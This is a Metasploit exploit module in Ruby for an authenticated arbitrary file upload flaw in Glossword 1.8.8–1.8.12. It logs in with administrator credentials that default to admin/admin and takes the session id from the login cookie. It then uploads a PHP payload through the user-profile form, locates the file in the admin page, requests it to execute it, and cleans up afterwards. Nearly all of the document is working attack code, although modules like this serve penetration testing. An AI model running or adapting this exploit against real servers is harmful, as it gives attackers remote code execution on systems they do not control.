Glossword v1.8.8 - 1.8.12 Arbitrary File Upload Vulnerability

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => "Glossword v1.8.8 - 1.8.12 Arbitrary File Upload Vulnerability",
        'Description' => %q{
          This module exploits a file upload vulnerability in Glossword
          versions 1.8.8 to 1.8.12 when run as a standalone application.
          This application has an upload feature that allows an authenticated user
          with administrator roles to upload arbitrary files to the 'gw_temp/a/'
          directory.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'AkaStep', # Discovery
          'bcoles' # metasploit exploit
        ],
        'References' => [
          [ 'EDB', '24456' ],
          [ 'OSVDB', '89960' ]
        ],
        'Platform' => 'php',
        'Arch' => ARCH_PHP,
        'Targets' => [['Automatic Targeting', { 'auto' => true }]],
        'Privileged' => true,
        'DisclosureDate' => '2013-02-05',
        'DefaultTarget' => 0,
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_fs_delete_file
            ]
          }
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The path to the web application', '/glossword/1.8/']),
        OptString.new('USERNAME', [true, 'The username for Glossword', 'admin']),
        OptString.new('PASSWORD', [true, 'The password for Glossword', 'admin'])
      ]
    )

    self.needs_cleanup = true
  end

  def check
    base = target_uri.path
    peer = "#{rhost}:#{rport}"
    user = datastore['USERNAME']
    pass = datastore['PASSWORD']

    # login
    print_status("Authenticating as user '#{user}'")
    begin
      res = login(base, user, pass)
      if res
        if res.code == 200
          vprint_error("Authentication failed")
          return Exploit::CheckCode::Unknown
        elsif res.code == 301 and res.get_cookies =~ /sid([\da-f]+)=([\da-f]{32})/
          vprint_good("Authenticated successfully")
          return Exploit::CheckCode::Appears
        end
      end
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
      vprint_error("Connection failed")
    end
    return Exploit::CheckCode::Safe
  end

  def on_new_session(client)
    if client.type == "meterpreter"
      client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
      client.fs.file.rm("#{@fname}")
    else
      client.shell_command_token("rm #{@fname}")
    end
  end

  def upload(base, sid, fname, file)
    user = datastore['USERNAME']
    pass = datastore['PASSWORD']
    data = Rex::MIME::Message.new
    data.add_part(file, 'application/x-php', nil, "form-data; name=\"file_location\"; filename=\"#{fname}\"")
    data.add_part("edit-own", nil, nil, 'form-data; name="a"')
    data.add_part("users", nil, nil, 'form-data; name="t"')
    data.add_part("Save", nil, nil, 'form-data; name="post"')
    data.add_part("#{sid}", nil, nil, 'form-data; name="sid"')
    data.add_part("#{user}", nil, nil, 'form-data; name="arPost[login]"')
    data.add_part("#{pass}", nil, nil, 'form-data; name="arPost[pass_new]"')
    data.add_part("#{pass}", nil, nil, 'form-data; name="arPost[pass_confirm]"')

    data_post = data.to_s

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(base, 'gw_admin.php'),
      'ctype' => "multipart/form-data; boundary=#{data.bound}",
      'data' => data_post,
    })

    return res
  end

  def login(base, user, pass)
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(base, 'gw_login.php'),
      'data' => "arPost%5Buser_name%5D=#{user}&arPost%5Buser_pass%5D=#{pass}&arPost%5Blocale_name%5D=en-utf8&a=login&sid=&post=Enter"
    })
    return res
  end

  def exploit
    base = target_uri.path
    @fname = rand_text_alphanumeric(rand(10) + 6) + '.php'
    user = datastore['USERNAME']
    pass = datastore['PASSWORD']

    # login; get session id and token
    print_status("Authenticating as user '#{user}'")
    res = login(base, user, pass)
    if res and res.code == 301 and res.get_cookies =~ /sid([\da-f]+)=([\da-f]{32})/
      token = "#{$1}"
      sid = "#{$2}"
      print_good("Authenticated successfully")
    else
      fail_with(Failure::NoAccess, "#{peer} - Authentication failed")
    end

    # upload PHP payload
    print_status("Uploading PHP payload (#{payload.encoded.length} bytes)")
    php = %Q|<?php #{payload.encoded} ?>|
    begin
      res = upload(base, sid, @fname, php)
      if res and res.code == 301 and res['location'] =~ /Setting saved/
        print_good("File uploaded successfully")
      else
        fail_with(Failure::UnexpectedReply, "#{peer} - Uploading PHP payload failed")
      end
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
      fail_with(Failure::Unreachable, "#{peer} - Connection failed")
    end

    # retrieve PHP file path
    print_status("Locating PHP payload file")
    begin
      res = send_request_cgi({
        'method' => 'GET',
        'uri' => normalize_uri(base, 'gw_admin.php?a=edit-own&t=users'),
        'cookie' => "sid#{token}=#{sid}"
      })
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
      fail_with(Failure::Unreachable, "#{peer} - Connection failed")
    end
    if res and res.code == 200 and res.body =~ /<img width="" height="" src="([^"]+)"/
      shell_uri = "#{$1}"
      @fname = shell_uri.match('(\d+_[a-zA-Z\d]+\.php)')
      print_good("Found payload file path (#{shell_uri})")
    else
      fail_with(Failure::UnexpectedReply, "#{peer} - Failed to find PHP payload file path")
    end

    # retrieve and execute PHP payload
    print_status("Executing payload (#{shell_uri})")
    begin
      send_request_cgi({
        'method' => 'GET',
        'uri' => normalize_uri(base, shell_uri),
      })
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
      fail_with(Failure::Unreachable, "#{peer} - Connection failed")
    end
    if !res or res.code != 200
      fail_with(Failure::UnexpectedReply, "#{peer} - Executing payload failed")
    end
  end
end